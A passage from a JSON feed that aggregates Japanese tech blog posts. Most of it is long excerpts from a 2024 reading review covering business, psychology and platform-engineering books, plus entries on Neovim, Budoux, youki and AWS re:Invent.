評論家という名の死に屈することなく。ついでにGitHubでもフォローしてくれ⋯github.com","isoDate":"2024-12-27T05:45:09.000Z","dateMiliSeconds":1735278309000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"BudouxによりNeovimのWモーションを拡張し、日本語文章の区切りに移動させる","link":"https://blog.atusy.net/2024/12/27/nvim-budoux-motion/","contentSnippet":"Google製改行位置決定アルゴリズムBudouxをLuaに移植した。読みやすい位置で文を区切れるので、bionic readingの日本語版を実装できるかも。","isoDate":"2024-12-27T00:00:00.000Z","dateMiliSeconds":1735257600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Youkiを動かしてみる","link":"https://qiita.com/ys1/items/7e92327c7728471cfc65","contentSnippet":"概要Kubernetesではコンテナを作成するとき、コンテナランタイム(高レベルランタイム、低レベルランタイム)を利用しています。低レベルランタイムであるyoukiを通じてコンテナに関する理解を…","isoDate":"2024-12-25T10:51:53.000Z","dateMiliSeconds":1735123913000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"Google製の改行位置決定アルゴリズムBudouxをLuaに移植した","link":"https://blog.atusy.net/2024/12/25/budoux-lua/","contentSnippet":"Google製改行位置決定アルゴリズムBudouxをLuaに移植した。読みやすい位置で文を区切れるので、bionic readingの日本語版を実装できるかも。","isoDate":"2024-12-25T00:00:00.000Z","dateMiliSeconds":1735084800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2024年 俺が愛した本たち 非技術書編(物語を除く)","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/25/084801","contentSnippet":"この記事は、3-shake Advent Calendar 2024 6日目のエントリ記事です。はじめにこんにちは、nwiizoです。2024年も終わりに近づいています。毎年恒例となった年末の読書振り返りの時期が来ました。今年はいつも以上に多くの本を読みましたが、その中でも技術書以外の本との出会いが、私の世界を大きく広げてくれました。哲学書、ビジネス書、社会科学書など、多岐にわたるジャンルの本に触れることで、新しい視点や考え方を学ぶことができました。なお、今回は物語やノンフィクションについては別の機会に譲り、主にビジネスや思考に関する本を中心にご紹介させていただきます。一見エンジニアリングとは関係のない本の中に、日々の仕事や課題解決に活かせるヒントが数多く隠れていることに気づかされた一年でもありました。本を読むことは知識を得るだけでなく、物事を多角的に捉える力を育んでくれます。様々な分野の本に触れることで、自分の思考の幅が広がり、新しいアイデアや解決策が浮かぶようになってきたように感じています。...とここまで偉そうに書きましたが、実際のところ私は「へぇ~、そうなんだ」とか「なるほど、そういう考え方もあるのか」くらいの気持ちで本を読んでいます。この記事では、2024年に私の心に深く刻まれた非技術書をご紹介したいと思います。これらの本との出会いが、読者の皆さんの新たな読書体験のきっかけになれば幸いです。はじめに昨年以前に紹介した本BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?High Conflict よい対立 悪い対立 世界を二極化させないために「怠惰」なんて存在しない 終わりなき生産性競争から抜け出すための幸福論THINK BIGGER 「最高の発想」を生む方法「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」会って、話すこと。――自分のことはしゃべらない。相手のことも聞き出さない。人生が変わるシンプルな会話術勘違いが人を動かす――教養としての行動経済学入門おわりに昨年以前に紹介した本syu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comBIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?世間を賑わせたメガプロジェクトの成功と失敗について掘り下げた本です。何が面白いって、メガプロジェクトというのはほぼ確実に上手くいかないのです。予算はオーバーし、納期は遅れ、最後には利益も出ない。しかも規模が大きいだけに、失敗のインパクトも半端ない。でも、そんな中でもたまに劇的に成功するプロジェクトがある。本書は、その差は一体どこにあるのかを探っています。著者が紹介する成功への要因は意外とシンプルです。「ゆっくり考え、すばやく動く」という原則や、「レゴを使ってつくる」という具体的な可視化の手法、「マスタービルダーを雇う(専門家を頼る)」といった実践的なアプローチが示されています。実は、この本の面白さは二重構造になっています。壮大なプロジェクトの成功と失敗の物語として読むと純粋に面白いのですが、自分が経験したことがあるプロジェクトに重ねて読むと...(ちょっと考え込む)まあ、そこは各自の想像にお任せします。特に印象的だったのは、大規模プロジェクトの教訓が、実は小規模なプロジェクトにも当てはまるという指摘です。例えば「小さく試し、成功したら拡大する」というアプローチは、ビジネスからアート、果ては生物の進化まで、不確実性と向き合うあらゆる分野で見られる原則なんですよね。何か新しいことに挑戦しようと考えている人には、特におすすめの一冊です。ただし、現在進行形でプロジェクトの真っ只中にいる人は、読むタイミングを少し考えた方がいいかもしれません。なんてったって、成功率0.5%という現実を突きつけられますからね。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版AmazonHigh Conflict よい対立 悪い対立 世界を二極化させないために対立には2つの種類があるということを、この本は教えてくれます。健全な対立は、私たちの成長を促し、相互理解と向上につながります。一方で、不健全な対立(ハイコンフリクト)は、「私たち対彼ら」という二項対立に陥り、問題の本質とは関係のない揚げ足取りや感情的な対立を引き起こします。読んでいて特に対立は感情の問題ではなく、構図の問題だという指摘が印象に残りました。私たちは「相手の感情を変えなければ」と思いがちですが、実は解決すべきは対立という構造そのものなんですね。本書が提案する解決策も興味深いものでした。従来の「逃げる」「戦う」「我慢する」という3つの方法ではなく、第四の道を示してくれます。それは、最終的な意見の一致を目指すのではなく、お互いの話に真摯に耳を傾けること。意見は違っていても、自分の話をちゃんと聞いてもらえたと全員が感じられれば、それが健全な対話への第一歩になるというわけです。読んでいて「よい対立」というのは、実は「よい対話」のことなのかもしれないと思いました。相手と自分の違いを楽しみながら、お互いの考えを知ろうとする姿勢。それが結果的に、建設的な関係性を築くヒントになるのではないでしょうか。ダイアローグ 価値を生み出す組織に変わる対話の技術作者:熊平美香ディスカヴァー・トゥエンティワンAmazonただし、これは理想論に聞こえるかもしれません。実際の現場では、感情的になったり、相手の話を遮ってしまったりすることは日常茶飯事です。でも、だからこそ、この本が教えてくれる対立の構造を理解し、より良い対話を目指すヒントは、とても価値があると感じました。High Conflict よい対立 悪い対立 世界を二極化させないために作者:アマンダ・リプリーディスカヴァー・トゥエンティワンAmazon「怠惰」なんて存在しない 終わりなき生産性競争から抜け出すための幸福論「休むこと」に罪悪感を覚える社会の呪縛について、深い洞察を投げかける一冊です。著者は、「怠惰は悪である」という私たちの思い込みが、実は資本主義社会が生み出した幻想だと指摘します。人の価値は生産性では測れないという当たり前だけど忘れがちな事実です。「もっとできるはずだ」「自分の限界を信じるな」といった私たちが \\"真実\\" だと思い込んでいる考えが、実は \\"ウソ\\" かもしれないと思わされます。働くということ 「能力主義」を超えて (集英社新書)作者:勅使川原真衣集英社Amazon特に印象的だったのは、休息は \\"サボり\\" ではなく、むしろ脳を活性化させる大切な時間だという指摘です。何もしていないように見える時間こそ、実は新しいアイデアが生まれる瞬間だったりします。実はこれは、近年増加している燃え尽き症候群の問題とも深く関係しています。休むことを後ろめたく感じ、常に生産的でなければならないというプレッシャーは、私たちのメンタルヘルスに大きな影響を与えているのです。心療内科医が教える本当の休み方作者:鈴木 裕介アスコムAmazonこれは昨年話題になった『なぜ私たちは燃え尽きてしまうのか』という本でも指摘されていました。バーンアウトは単なる個人の弱さの問題ではなく、仕事が私たちのアイデンティティそのものになってしまっているという、現代社会の構造的な問題なのだと。なぜ私たちは燃え尽きてしまうのか作者:ジョナサン マレシック青土社Amazon実は私も、「もっと頑張れるはずだ」と自分を追い込むタイプでした。でも、そんな生き方って本当に正しいのかな?と考えるきっかけをくれた本です。生産性や成果だけが人生の価値を決めるわけじゃない。この当たり前の事実に、改めて気づかされました。この本は、急がなくていい、そんなに頑張らなくていいと、優しく語りかけてくれます。そして、それは決して「怠けていい」という意味ではなく、むしろ自分らしく、人間らしく生きるための大切な気づきなのだと教えてくれるのです。「怠惰」なんて存在しない 終わりなき生産性競争から抜け出すための幸福論作者:デヴォン・プライスディスカヴァー・トゥエンティワンAmazonTHINK BIGGER 「最高の発想」を生む方法この本は、私たちの「創造性」に対する多くの思い込みを覆してくれる一冊です。「天才のひらめき」という美しい物語は、実は幻想かもしれないという衝撃的な指摘から始まります。著者によれば、イノベーションの本質は「新しいアイデアを無から生み出すこと」ではなく、「既存のアイデアを新しく組み合わせること」なのだそうです。例えば、ピカソが天才的なアーティストとされるのは、同時代の画家マティスとアフリカのビリ人による彫像を巧みに組み合わせて、キュビスムという新しい芸術様式を生み出したからなんですね。この点について、私は広告界の巨人ジェームス・W・ヤングの『アイデアのつくり方』(1940年)から学びました。ヤングは「新しいアイデアとは、既存の要素の新しい組み合わせ以外の何物でもない」と述べています。そして私は、その組み合わせを見つけるには、事物の関連性を見つけ、組み合わせを試行錯誤することが重要だと考えています。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon特に印象的だったのは、私たちが「創造性を高める」と信じている方法の多くが、実は科学的な根拠に欠けているという指摘です。ブレインストーミングの効果は研究で否定されているとか、オフィス空間を奇抜にしても創造性は上がらないとか。むしろ大切なのは、様々な素材を一つ一つ心の解像度を上げて捉え、向き合うこと。そして、それらの関係性を探り出すことなのです。著者は、アイデアの創造プロセスについて興味深い観察を示してくれます。何気ない見聞き、例えば電車に乗っているとき、風呂に入っているとき、トイレのときなど、ふとした瞬間にアイデアが心の中で飛び込んでくる。でも、これは実は偶然ではなく、それまでの地道な素材集めと向き合いの結果なんだそうです。THINK BIGGER 「最高の発想」を生む方法:コロンビア大学ビジネススクール特別講義 (NewsPicksパブリッシング)作者:シーナ・アイエンガーニューズピックスAmazonこの本は、世の中に溢れている「創造性神話」を丁寧に解きほぐしながら、誰もが実践できる方法論を示してくれます。アイデアを生むには、まず問題を無意識の中で整理し、忘れたような状態にすることも大切なんですね。そして何より、「天才のひらめき」を待つのではなく、地道に知識を蓄え、既存のアイデアを組み合わせていく。そんな着実なアプローチこそが、実は最も創造的な方法なのかもしれません。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策コミュニケーションの失敗の原因を、認知科学の視点から解き明かしてくれる一冊です。著者は、「話せばわかる」という私たちの思い込みが、実は幻想かもしれないと指摘します。人は自分の都合のいいように誤解する生き物だという指摘です。これは、相手が「悪意を持って誤解している」わけではなく、むしろ 私たち一人一人が持つ「知識や思考の枠組み(スキーマ)」が異なるために起こる自然な現象なんだそうです。例えば、同じ「ネコ」という言葉を聞いても、人によって思い浮かべる映像は全く違います。これと同じように、ビジネスの現場でも、私たちは知らず知らずのうちに、自分のスキーマを通して相手の言葉を解釈しているのです。著者は、コミュニケーションの達人になるためのヒントも示してくれます。ポイントは、「失敗を成長の糧にする」「説明の手間を惜しまない」「相手をコントロールしようとしない」「聞く耳を持つ」といった心構えです。これは決して「相手に合わせろ」という話ではなく、むしろお互いの違いを認識した上で、どう理解し合えるかを考えることの大切さを教えてくれます。この本は、日々のコミュニケーションで「なんでわかってくれないんだろう」と悩む私に、とても実践的なヒントを与えてくれました。結局のところ、完璧な伝達は不可能で、むしろ誤解や聞き違いを前提に、どうコミュニケーションを取るかを考えることが大切なのかもしれません。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonイシューからはじめよ[改訂版]――知的生産の「シンプルな本質」この本は私にとって特別な一冊です。「今この局面でケリをつけるべき問題」を見極めることの大切さを教えてくれた、まさにバイブルと呼べる存在でした。今回の読書振り返りを書くにあたっても、「何を伝えるべきか」を考える際の指針となってくれています。本書の核心は、「真に価値のある仕事は、イシューの設定から始まる」というものです。世の中には問題が山積みですが、その中で「今、本当に答えを出すべき」かつ「答えを出す手段がある」問題は、実はごくわずかです。優れた知的生産には分野を超えて共通の手法があると本書は教えてくれます。ビジネスでも、研究でも、アートでも、本質的な問題を見極めることから始めるという原則は変わりません。これは『熟達論―人はいつまでも学び、成長できる』でも同様の指摘がされています。分野は違えど、真に優れた実践者たちには共通のパターンがあるのです。それは問題の本質を見抜き、そこに向けて地道な努力を重ねる姿勢です。両書を読み進めるうちに、自分の中で「イシュー」を見極めることと「熟達」することの間に深いつながりがあることを感じました。熟達論―人はいつまでも学び、成長できる―作者:為末大新潮社Amazonこの気づきは私の学びの姿勢を大きく変えました。以前は目の前の課題に対して「とにかくやってみる」というアプローチでしたが、今は必ず立ち止まって「本当のイシューは何か」を考えるようになりました。そして、そのイシューに向き合う中で、自分自身の熟達度も少しずつ上がっていくような気がしています。また、本書では「課題解決の2つの型」について深く掘り下げています。ギャップフィル型(あるべき姿が明確な場合)と、ビジョン設定型(そもそもあるべき姿を見極める必要がある場合)という分類は、単なる理論的な整理ではありません。これは実践の場で直面する様々な課題に対して、どのようなアプローチを取るべきかを示す羅針盤となってくれます。多くの失敗は、この2つの型を取り違えることから始まるのかもしれません。今年の読書でも、この本で学んだ「イシューからはじめる」という考え方が、本の選び方や読み方に大きな影響を与えています。一見バラバラに見える本たちも、実は私なりの「イシュー」に基づいて選んでいたことに、この振り返りを書きながら気づきました。それぞれの本が、異なる角度から私の中の「イシュー」に光を当ててくれていたのです。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版Amazon会って、話すこと。――自分のことはしゃべらない。相手のことも聞き出さない。人生が変わるシンプルな会話術この本との出会いは、私の会話に対する考え方を大きく変えてくれました。「人は他人の話に興味がない」という荒々しいけれど正直な前提から始まり、そこから真摯に「ではなぜ人は会って話すのか」を探っていく展開に引き込まれました。本書で最も印象的だったのは、「外にあるものを一緒に見つめる」という会話の本質についての洞察です。自分のことを話したり、相手のことを聞き出したりする必要はない。むしろ、お互いの外にあるものに目を向け、新しい風景を一緒に発見することが、会話の醍醐味なのだと。実は最近、NON STYLE 石田さんの「答え合わせ」や令和ロマン・髙比良くるまさんの「漫才過剰考察」にハマっていて、面白い掛け合いの「仕組み」についてかなり考えていました。答え合わせ(マガジンハウス新書)作者:石田明マガジンハウスAmazonでも本書を読んで、会話の本質は必ずしもそういった技術的な部分だけではないことに気づかされました。巧みなツッコミやテンポのいい掛け合いも素晴らしいけれど、二人で同じ風景を見つめて「へぇ」と言い合えるような静かな会話にも、また違った味わいがあるんですね。漫才過剰考察作者:令和ロマン・髙比良くるま辰巳出版Amazonこれまで私は「相手に興味を持ってもらえるような話をしなきゃ」「相手の話をもっと引き出さなきゃ」と、どこか力んでいた気がします。でも、本書はそんな会話の構えをすべて取り払ってくれました。漫才のようにオチを付ける必要もない。ツッコミも不要。むしろ、ボケにボケを重ねて「今なんの話してたっけ?」となる方が、会話として自然なのかもしれません。会話は決して「相手を理解する」「自分を理解してもらう」ためのものではない。そう割り切ることで、むしろ自然な会話が生まれる。この逆説的な知恵が、私の日々の会話をより楽しいものにしてくれています。会って、話すこと。――自分のことはしゃべらない。相手のことも聞き出さない。人生が変わるシンプルな会話術作者:田中 泰延ダイヤモンド社Amazon勘違いが人を動かす――教養としての行動経済学入門人はとても愚か。「人は論理や情熱ではなく、認知バイアスによって動く」という衝撃的な視点を示してくれる一冊です。その象徴的な例が、男性用トイレの小便器にハエのマークを描くと飛び散りが激減する「ハウスフライ効果」。私たちは意外なほど、こういった「勘違い」によって行動が変わってしまう生き物なんですね。本書は、普段の生活で遭遇する様々な認知バイアスについて、豊富な事例とともに解説してくれます。例えば、カジノが現金ではなくチップを使う理由。実は、チップを使うと現金を使う時より負けた時の痛みを感じにくくなるそうです。さらにカーペットを長めにして歩くスペードを遅くさせたり、出口への最短ルートをわかりにくくしたり...。私たちの行動を操る仕掛けが、至る所に張り巡らされているんです。特に印象的だったのは、「予期的後悔」についての指摘です。私たちは「将来後悔するかもしれない」という不安から、決断を先送りにしがちです。でも実は、人は将来の感情を過大評価する傾向があり、実際の後悔は想像よりもずっと小さいものだとか。この点については、『変化を嫌う人を動かす』という本でも深く掘り下げられています。人が変化を受け入れられない理由として「惰性」「労力」「感情」「心理的反発」という4つの要因があるそうです。両書を併せて読むことで、人がなぜ現状維持バイアスに縛られやすいのか、より立体的に理解できました。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazon本書を読んで、自分の行動の多くが実は「論理的な判断」ではなく「認知バイアス」によって左右されていることを実感しました。この気づきは、自分の意思決定を見直すきっかけになると同時に、他者の行動をより深く理解することにもつながります。賢明なのは、これらのバイアスと戦うことではなく、その存在を認識した上で、うまく付き合っていくことなのかもしれません。勘違いが人を動かす――教養としての行動経済学入門作者:エヴァ・ファン・デン・ブルック,ティム・デン・ハイヤーダイヤモンド社Amazonおわりに今年の読書を振り返ってみると、一つの大きなテーマが浮かび上がってきました。それは「人はいかに自分の思い込みに縛られているか」ということです。私たちは普段、意識せずに様々な思い込みの中で生活しています。でも、新しい本と出会うたびに、そんな「当たり前」が少しずつ揺さぶられていくような体験をしました。「へぇ~、そうなんだ」という素直な驚きから始まった読書でしたが、振り返ってみると、それぞれの本が不思議と響き合って、より深い気づきをもたらしてくれたように思います。理論的な本を読んでは実践的な本で確認し、個人的な視点の本を読んでは社会的な視点の本で補完する。そんな読書の往復運動の中で、自分の視野が少しずつ広がっていくのを感じました。来年も、このように自分の「思い込み」を優しく解きほぐしてくれるような本との出会いを楽しみにしています。そして、その体験をまた皆さんと共有できればと思います。最後まで読んでいただき、ありがとうございました。","isoDate":"2024-12-24T23:48:01.000Z","dateMiliSeconds":1735084081000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"RのSys.time()でミリ秒以下を表示する","link":"https://blog.atusy.net/2024/12/24/r-time-subsec/","contentSnippet":"Sys.time()でミリ秒以下を表示するには、digits.secオプションか、format関数を使うといいよ。いずれも最大でマイクロ秒までの表示に対応。データの実態を知ってると、ナノ秒以下の情報も取得可能。ただし、精度はOS依存。","isoDate":"2024-12-24T00:00:00.000Z","dateMiliSeconds":1734998400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"AWS re:Invent 2024 へ行って来ました","link":"https://sreake.com/blog/aws-reinvent-2024/","contentSnippet":"スリーシェイクの山田です。 今回、Amazon Web Services (以下 AWS) が 12月 にラスベガスで開催した世界規模のカンファレンスである AWS re:Invent 2024 に現地参加してきたので、 […]The post AWS re:Invent 2024 へ行って来ました first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-12-23T23:00:00.000Z","dateMiliSeconds":1734994800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"2024年 俺が愛した本たち 技術書編","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/23/174750","contentSnippet":"この記事は、3-shake Advent Calendar 2024 24日目のエントリ記事です。はじめにこんにちは、nwiizoです。2024年も残りわずかとなりました。年の瀬に差し掛かるこの時期、1年の歩みを振り返り、時の流れを見つめ直すことは、私にとって特別な意味を持っています。今年は特に、技術書との関わり方に大きな変化がありました。本を紹介する投稿する中で、技術書のみならず、さまざまな分野の書籍を読む機会が大幅に増えました。私の書斎は、いつの間にか技術書のデータセンターと化しました。サーバーラックの代わりに本棚が整然と並び、それぞれの棚には未読の本という名のサーバーがぎっしりと配置されています。これらの「サーバー」は、24時間365日、知識というバックグラウンドプロセスを静かに実行し続けています。既にメモリの使用率は常に100%ですが、まだ、クラッシュすることはありません。クラッシュしたら次の年はこの文章を読むことができません。特に今年は、技術書との向き合い方を見つめ直した1年でした。これまでのように「量」を追い求めるのではなく、一冊一冊を深く理解し、質を重視することに注力しました。技術書は単なる情報の集合体ではなく、先人たちの経験や洞察が凝縮された知恵の結晶です。その知恵を丁寧に咀嚼し、自分の中に取り込む過程が、エンジニアとしての成長に直結することを改めて実感しました。この記事では、2024年に私が出会い、心を揺さぶられた技術書たちを厳選してご紹介します。これらの書籍が、読者の皆様に新たな発見と学びをもたらすきっかけになれば幸いです。はじめに昨年以前に紹介した本2024年に読んでよかった技術書Platform Engineering on KubernetesPlatform EngineeringContinuous DeploymentCloud Observability in ActionLearning OpenTelemetryBecoming SREFundamentals of Data EngineeringTidy First?ソフトウェア開発現場の「失敗」集めてみた。42の失敗事例で学ぶチーム開発のうまい進めかたプログラミングRust 第2版Effective Rustバックエンドエンジニアを目指す人のためのRustReal World HTTP 第3版【改訂新版】システム障害対応の教科書GitHub CI/CD実践ガイドおわりに昨年以前に紹介した本syu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.com2024年に読んでよかった技術書今年も、私の知識データベースは絶え間なく更新され続けました。読書から得た知識は、ソフトウェアエンジニアとしての実務という名のプロダクション環境で厳密にテストされ、その成果は、いくつかの技術イベントでの登壇という形でデプロイされました。幸いにも、これまでクリティカルな障害が発生したことはありません。私の脳内APIは、多くの技術書から寄せられるリクエストを処理し続けています。レスポンスタイムは決して速いとは言えませんが、スループットは着実に向上しています。そして以下では、2024年に私の知識基盤に大きなアップデートをもたらした技術書を紹介します。これらの書籍は、私に新しい視点やスキルを与え、成長の助けとなりました。speakerdeck.comPlatform Engineering on Kubernetes「Platform Engineering on Kubernetes」は、クラウドネイティブ時代のプラットフォームエンジニアリングの本質と実践を包括的に解説した一冊です。本書は、単なるKubernetesの解説書を超えて、現代のソフトウェア開発組織が直面する課題とその解決策を体系的に示しています。Platform Engineering on Kubernetes (English Edition)作者:Salatino, MauricioManningAmazon本書の核心は、「なぜKubernetes上にプラットフォームを構築する必要があるのか」という根本的な問いに対する答えを提示している点です。著者は、複数のチームが関わり、複数のクラウドプロバイダーへのデプロイを行い、異なるスタックを扱う組織では、Kubernetesの導入だけでは不十分であることを説き、プラットフォームエンジニアリングによってこれらの課題を技術的・組織的に解決する方法を示しています。特に印象的なのは、プラットフォームチームと開発チームの協調に関する著者の洞察です。プラットフォームは単なる技術的な基盤ではなく、開発者の生産性を最大化し、ビジネス価値の迅速な提供を可能にする戦略的な資産として位置づけられています。これは、DevOpsの理想をクラウドネイティブ時代に実現するための具体的なアプローチと言えます。本書は、概念的な解説に留まらず、実践的なステップバイステップのガイドも提供しています。カンファレンスアプリケーションというサンプルを通じて、プラットフォームの設計から実装、運用までを一貫して学ぶことができます。これにより、読者は理論と実践の両面から、プラットフォームエンジニアリングの本質を理解できます。また、本書はCrossplane、ArgoCD、Dapr、OpenFeatureなど、現代のクラウドネイティブツールの活用法も詳しく解説しています。これらのツールを適切に組み合わせることで、開発者体験の向上とインフラストラクチャの効率化を両立できることが示されています。この本を読み進める中で、プラットフォームエンジニアリングが単なる技術的な取り組みを超えて、組織全体のデジタルトランスフォーメーションを推進する原動力となり得ることを実感しました。著者の提示する知見は、エンジニアリング組織の次なるステージを考える上で、貴重な指針となるでしょう。「Platform Engineering on Kubernetes」では、プラットフォームエンジニアリングの技術的側面について深く解説されています。しかし、内部開発者向けのプラットフォームも一つのプロダクトとして捉え、その価値提供を最適化していく視点も重要です。そこで、以下の書籍との併読をお勧めします。プロダクトマネジメントのすべて 事業戦略・IT開発・UXデザイン・マーケティングからチーム・組織運営まで作者:及川 卓也,小城 久美子,曽根原 春樹翔泳社Amazon「プロダクトマネジメントのすべて」は、プロダクトの企画から運用、改善までを包括的に解説した決定版です。本書を通じて、プラットフォームを一つのプロダクトとして捉え、ユーザーである開発者の体験を最適化していくための方法論を学ぶことができます。さらに、プラットフォームチームがどのようにステークホルダーと協働し、組織全体の価値を最大化していくかについても、実践的な知見を得ることができます。両書を組み合わせることで、技術とプロダクトマネジメントの両面から、より効果的なプラットフォームエンジニアリングの実践が可能になるでしょう。Platform Engineering「Platform Engineering: A Guide for Technical, Product, and People Leaders」は、現場での実践知を出発点として、プラットフォームエンジニアリングの本質に迫る実践的なガイドです。技術リーダーから上級管理職まで向けた幅広い読者層に向けて書かれており、個人的にはもう少しだけ広げて開発者やプラットフォームを実際に使う側も読んでも学びのある本だと感じました。Platform Engineering: A Guide for Technical, Product, and People Leaders (English Edition)作者:Fournier, Camille,Nowland, IanO\'Reilly MediaAmazon「Platform Engineering on Kubernetes」がKubernetesを基盤とした技術的な実装と運用に重点を置いているのに対し、本書はプラットフォームエンジニアリングをより広い文脈で捉え、組織的・人的側面にも深く踏み込んでいます。例えば、プラットフォームチームの組織的な位置づけ、ステークホルダーとの関係構築、プラットフォーム提供者と利用者の協力関係の構築など、「Platform Engineering on Kubernetes」では詳しく触れられていない領域をカバーしています。特に注目すべきは、本書がプラットフォームの成功を技術的な完成度だけでなく、組織全体への価値提供という観点から評価している点です。プラットフォームの採用を促進し、持続可能な運用を実現するためには、技術的な卓越性に加えて、組織的な課題への対応も重要であることを説いています。そのため、両書を併読することで、技術的な実装から組織的な展開まで、プラットフォームエンジニアリングの全体像を把握することができます。本書を読む前に、「Team Topologies」を一読することを強くお勧めします。「Team Topologies」は、現代のソフトウェア開発組織における効果的なチーム構造とその相互作用のパターンを提示しており、プラットフォームチームの位置づけや役割を理解する上で不可欠な知見を提供してくれます。この基礎的な理解があることで、本書で展開されるプラットフォームエンジニアリングの実践論をより深く理解することができます。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon著者の豊富な経験が凝縮された本書は、単なる表面的な手法の模倣ではなく、実際の現場での試行錯誤から導き出されたプラクティス、そしてその背後にある根本的な原理と思想を探求しています。それが現代のソフトウェア開発組織においていかに革新的な価値を生み出すかを浮き彫りにしている点が特徴的です。本書の真価は、プラットフォームエンジニアリングを単なる技術的な手法の集合としてではなく、日々の実践から得られた知見を体系化し、組織の進化と持続的な成長を促す戦略的な思考基盤として捉えている点にあります。技術的な実装の詳細よりも、組織が現場の文脈に根ざした実践を重ね、そこからプラクティスを抽出し、最終的にプラットフォームエンジニアリングの本質的な原則を理解して創造的に応用していく方法論に重点が置かれています。技術的な側面、特にCloud Nativeな実装に興味がある方には、「Platform Engineering on Kubernetes」がおすすめです。こちらの書籍では、Kubernetesを基盤としたプラットフォームエンジニアリングの実践的なアプローチが詳細に解説されています。両書を併読することで、プラットフォームエンジニアリングの組織的側面と技術的側面の両方を深く理解することができ、より包括的な知識を得ることができるでしょう。本書は、プラットフォームエンジニアリングの現場で直面する本質的な難しさを率直に語っています。具体的には、「技術的に面白いから作る」のではなく現場で真に必要とされるものを見極めて提供するという価値提供の本質、計画の難しさを認識しつつも現場の文脈に応じて適切に実行するという実践知、そして組織の重要なシステムを支える責任を全うするための運用の成熟という現場力の醸成といった課題を挙げています。これらの課題に対して、本書は原則に基づきながらも現場の実態に即した解決の道筋を示しています。最後に、読者として強く感じたのは、プラットフォームエンジニアリングが単なる技術的な課題ではなく、組織的な取り組みとして捉える必要があるという点です。特に、チームの持続可能性とユーザー満足度の両立という観点から、著者の提案する実践的なアプローチは非常に価値があります。本書で提示されているプラクティスは、理想的ではありますが現実的な目標として設定されており、段階的な改善のためのロードマップとしても機能します。特に重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択し、継続的に改善を進めていく姿勢だと考えています。Continuous Deployment「Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software 」は、継続的デプロイメントの実践に焦点を当てた包括的なガイドです。継続的デプロイメントは、ソフトウェアパイプラインを完全に自動化し、手動介入を必要としない手法です。この方法により、クオリティーゲートを通過したすべてのコードコミットが自動的に本番環境にデプロイされます。Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software (English Edition)作者:Servile, ValentinaO\'Reilly MediaAmazon本書の理解をより深めるためには、「Grokking Continuous Delivery」との併読をお勧めします。この本は、継続的デリバリーの基本概念から実践的な実装まで、体系的に解説しています。特に、継続的デプロイメントへの段階的な移行プロセスや、組織文化の変革について、実践的な知見を提供してくれます。両書を読み進めることで、継続的デプロイメントの技術的側面と組織的側面の両方を包括的に理解することができます。Grokking Continuous Delivery (English Edition)作者:Wilson, ChristieManningAmazonこちらの本は日本語版がリリースされています。入門 継続的デリバリー ―テストからリリースまでを安全に自動化するソフトウェアデリバリーのプロセス作者:Christie Wilsonオーム社Amazon本書は、単なる技術的な実装の解説に留まらず、プラットフォームエンジニアリングと開発プロセス全体を変革する可能性について深く掘り下げています。特に、フィーチャーフラグ、カナリーリリース、A/Bテストなどの重要な概念と、それらの実践的な適用方法について詳細な洞察を提供しています。継続的デプロイメントの価値は、ソフトウェア開発の特性と人間の性質を理解することで明確になります。人間は反復作業を得意としませんが、コンピューターシステムはこの種の作業に適しています。継続的デプロイメントは、人間と機械の特性の違いを活かし、相互補完的に活用します。コード変更から本番環境へのデプロイまでを完全に自動化することで、開発者は創造的な問題解決に注力でき、反復的なタスクはシステムに任せることができます。結果として、ソフトウェア開発プロセス全体の効率が向上し、人的ミスのリスクも減少します。本書は、技術的側面だけでなく、組織文化やチーム間の協力体制についても掘り下げています。また、継続的デプロイメントがもたらすソフトウェアのリリースサイクルの短縮や、ユーザーへのフィードバックループの最小化についても解説しています。同時に、コードの品質管理やテスト戦略により高い要求を課すことの重要性も強調しています。強固な自動テスト、モニタリング、迅速なロールバック機能など、継続的デプロイメントを成功させるために不可欠な安全策についても説明しています。実践的な見地からも、本書は開発者が直面する現実的な課題に対する具体的な解決策を提供しています。各章は理論的な基礎から始まり、実際の適用例、そして起こりうる問題とその対処法まで、包括的に解説しています。特に、実際の組織がどのように継続的デプロイメントを導入し、成功を収めているかについての事例研究は、実務に直接活かせる貴重な知見となっています。本書を通じて、継続的デプロイメントが単なる技術的なツールではなく、組織全体の開発文化を変革し、ソフトウェア品質を向上させるための包括的なアプローチであることが理解できます。その実践は、開発効率の向上、リリース品質の改善、そして最終的には顧客満足度の向上につながります。Cloud Observability in Action「Cloud Observability in 